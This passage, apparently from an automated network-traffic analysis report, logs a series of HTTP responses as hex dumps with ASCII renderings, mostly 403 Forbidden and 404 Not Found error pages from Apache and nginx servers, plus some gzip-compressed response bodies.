45 d4 4f 09 f2 29 8a e2 d4 9f fb 5f 11 0f 5d f8 e9 0c a5 33 82 fe 4d 84 69 8a 9e 7d f4 19 8a 83 c5 d4 0f d1 b9 e3 98 0d 64 20 49 cb 15 14 30 dd 68 5e bf 88 12 2f 4e 08 a5 75 5e 94 d6 29 89 ea c8 30 80 33 a9 9f 06 e4 64 f5 b7 6f 7e f3 e6 57 ab 6f 56 df ad 7e ff e6 af 57 df a0 d5 77 ab 6f e1 e3 9b d5 3f ac 7e b7 fa 16 be 21 03 7d 90 44 e1 14 07 c7 75 5e 4b 32 3c 4e a2 98 24 e9 d5 50 8b a6 fd 20 02 8e 29 dc 4d 16 a3 2f 5e 68 d0 34 d1 3f 85 e2 0c 92 52 fa 76 94 6c 05 0b 9c 1b 01 d7 15 d0 82 7a 51 87 ba 89 1f a7 08 24 6b a8 e1 38 0e 7c 17 a7 7e 14 d6 03 ef dd 33 1a 85 1a 72 03 4c e9 50 63 8c 34 a8 3b 23 73 6c 4c 13 1c cf b4 93 6b ed a7 4c 7a 2e 53 ad 9f f5 3e 2f 02 fd af e9 da 4f 79 c9 fe cb 6b ed a7 80 43 eb 6b 5f 92 f1 33 3f 25 90 e9 7b 4a bd 31 e7 aa 39 be aa bf 7d 41 c6 40 ba a6 6b 8b 24 28 2f a3 e9 1a 6b 58 5f 93 0d d2 35 8f f0 e6 f8 51 a8 f5 35 4d d7 e2 c5 38 f0 e9 8c 24 5a ff 7a 07 ba 28 99 e2 d0 ff 8a 35 5c 5b ea 5a 1c c1 88 f0 71 f0 be 0b bc d0 54 f2 9f 11 9c b8 33 91 a1 6b 29 4e a6 24 65 e0 45 fb 3e 0a d3 e4 ea f3 c8 0f 53 4e fe 73 32 8f 03 9c 42 d3 a5 50 2a 4d 7d 8f 0e af 29 03 39 4a 49 32 1f d1 34 f1 c3 e9 12 a8 f8 e5 82 24 57 86 1f c6 0b 60 6f 42 7e b9 f0 13 e2 21 36 88 36 ab 68 cb 57 ba e6 87 4f 70 38 5d e0 29 60 e3 6a 61 a9 e7 ac ff 4c 6d e7 2e fe 17 18 92 31 7a f5 5f 57 df ac 7e bb fa fe cd af 56 df af 7e b7 fa 6e f5 3d 8c 8e 7f 5c 7d f3 e6 df ae be 35 de fc d5 9b 5f af be 59 fd ee cd df ac fe f7 ea 1b 74 aa ad fe 33 2b f8 dd ea b7 ab 6f 56 ff 74 0a fd b1 ab 37 83 68 1a a9 7c fc 64 8e a7 e4 b3 f1 19 71 81 91 Data Ascii: 33cb}kFfC&%7l4veHfF(,Z
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 04 Jun 2024 12:20:27 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 04 Jun 2024 12:20:30 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 04 Jun 2024 12:20:33 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 04 Jun 2024 12:20:35 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.14.2Date: Tue, 04 Jun 2024 12:22:27 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 62 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 90 31 0e c2 30 0c 45 77 24 ee 60 ba a7 a1 d0 31 64 41 20 31 30 71 82 a4 36 4d a4 34 41 21 12 f4 f6 24 50 24 c4 cc c8 e8 ef e7 67 cb c2 a4 c1 c9 f9 4c 18 52 28 45 b2 c9 91 6c 97 6b d8 87 a8 2d 22 79 c1 5f a1 e0 4f 24 a3 3a e0 08 ba ef 82 0b 71 53 dd 8c 4d 54 15 45 47 3e 51 94 c2 34 df 86 9c 08 3e b5 cb ae 0c 4d 95 ef ad bf f3 a6 6e da 7a f5 89 f0 b2 a4 48 f9 fb c0 05 63 a0 e0 a2 10 ad ef 21 05 40 7b 55 da 11 1c 4f 87 1d 28 8f b0 35 31 0c 04 e7 68 c9 a3 1b 81 62 0c 31 4f f4 04 8c 15 d7 5f f1 cb 5f 3c 00 d2 96 ee 17 3b 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: bc10Ew$`1dA 10q6M4A!$P$gLR(Elk-"y_O$:qSMTEG>Q4>MnzHc!@{UO(51hb1O__<;0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.14.2Date: Tue, 04 Jun 2024 12:22:29 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 62 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 90 31 0e c2 30 0c 45 77 24 ee 60 ba a7 a1 d0 31 64 41 20 31 30 71 82 a4 36 4d a4 34 41 21 12 f4 f6 24 50 24 c4 cc c8 e8 ef e7 67 cb c2 a4 c1 c9 f9 4c 18 52 28 45 b2 c9 91 6c 97 6b d8 87 a8 2d 22 79 c1 5f a1 e0 4f 24 a3 3a e0 08 ba ef 82 0b 71 53 dd 8c 4d 54 15 45 47 3e 51 94 c2 34 df 86 9c 08 3e b5 cb ae 0c 4d 95 ef ad bf f3 a6 6e da 7a f5 89 f0 b2 a4 48 f9 fb c0 05 63 a0 e0 a2 10 ad ef 21 05 40 7b 55 da 11 1c 4f 87 1d 28 8f b0 35 31 0c 04 e7 68 c9 a3 1b 81 62 0c 31 4f f4 04 8c 15 d7 5f f1 cb 5f 3c 00 d2 96 ee 17 3b 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: bc10Ew$`1dA 10q6M4A!$P$gLR(Elk-"y_O$:qSMTEG>Q4>MnzHc!@{UO(51hb1O__<;0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.14.2Date: Tue, 04 Jun 2024 12:22:32 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 62 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 90 31 0e c2 30 0c 45 77 24 ee 60 ba a7 a1 d0 31 64 41 20 31 30 71 82 a4 36 4d a4 34 41 21 12 f4 f6 24 50 24 c4 cc c8 e8 ef e7 67 cb c2 a4 c1 c9 f9 4c 18 52 28 45 b2 c9 91 6c 97 6b d8 87 a8 2d 22 79 c1 5f a1 e0 4f 24 a3 3a e0 08 ba ef 82 0b 71 53 dd 8c 4d 54 15 45 47 3e 51 94 c2 34 df 86 9c 08 3e b5 cb ae 0c 4d 95 ef ad bf f3 a6 6e da 7a f5 89 f0 b2 a4 48 f9 fb c0 05 63 a0 e0 a2 10 ad ef 21 05 40 7b 55 da 11 1c 4f 87 1d 28 8f b0 35 31 0c 04 e7 68 c9 a3 1b 81 62 0c 31 4f f4 04 8c 15 d7 5f f1 cb 5f 3c 00 d2 96 ee 17 3b 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: bc10Ew$`1dA 10q6M4A!$P$gLR(Elk-"y_O$:qSMTEG>Q4>MnzHc!@{UO(51hb1O__<;0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.2Date: Tue, 04 Jun 2024 12:22:35 GMTContent-Type: text/htmlContent-Length: 571Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 04 Jun 2024 12:22:39 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 25 Jul 2023 10:57:57 GMTETag: W/"afe-6014d9a904f4f"Content-Encoding: gzipData Raw: 35 31 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 8d 56 cf 6f 13 47 14 3e 7b ff 8a 61 a3 4a 25 ca 66 63 27 71 a8 b1 ad 4a 10 0a 2d 90 08 4a a1 a7 6a bc 3b b6 a7 ac 77 ac dd 75 12 b7 ca 1f 63 32 53 d1 12 95 08 50 49 0a 88 aa a0 36 4d 4b 28 ad 82 2a 0e a0 aa 97 26 d0 0b 51 a5 1e fb 66 67 d6 5e 27 06 b1 17 7b df cf ef 7d ef cd db 29 1e 38 3a 73 e4 c3 8f 67 a7 51 3d 6a 78 65 a3 28 7f 90 87 fd 5a c9 fc 14 9b 52 40 b0 0b 3f 0d 12 61 e4 d4 71 10 92 a8 64 4e 9f 3b 62 bd 3f 6b 22 1b 34 11 8d 3c 52 9e 18 9b 40 c7 a8 47 d0 69 16 a1 63 ac e5 bb 45 5b 69 b4 af 8f 1b a4 64 3a ac d9 0e 68 ad 1e 99 c8 61 7e 44 7c 08 76 24 91 a1 0b 67 a7 cf 7c 34 7d 06 9d f0 9d 51 99 3b 4e aa 1c 03 56 61 51 98 f2 3a 71 fa e8 f4 85 91 63 33 27 4f ce 9c 57 40 52 d6 73 94 cc 37 59 90 ce 32 4f dd a8 5e 72 c9 1c 75 88 15 bf 8c 50 9f 46 14 7b 56 e8 60 8f 94 b2 a3 63 23 0d 10 35 5a 8d 9e 44 a2 08 a3 36 d4 15 b5 9b 80 3f 22 0b 91 ed 84 21 c8 87 d1 e7 06 82 a7 81 83 1a f5 0b 68 ec 70 fc da c4 ae 4b fd 5a fc be 68 d0 46 4d 9b 55 58 e0 92 40 8b 5b 9e 96 6a 6b cb 23 d5 a8 80 72 a4 71 d8 58 34 e2 1e a8 e0 6c 8e 04 55 8f cd 5b ed 02 0a 9d 80 79 9e ca 52 c1 ce c5 5a 20 69 2e a0 a1 f1 ca d4 3b 95 29 e9 59 61 6e 5b 47 ae 02 bd 56 15 37 a8 07 ae a6 f8 53 70 b1 23 be 32 47 d0 29 42 83 36 1b 41 e6 d2 83 a5 df d1 d2 af e2 86 b8 29 ee 89 ab a0 32 4f 9d 45 b3 ef b1 a8 4e 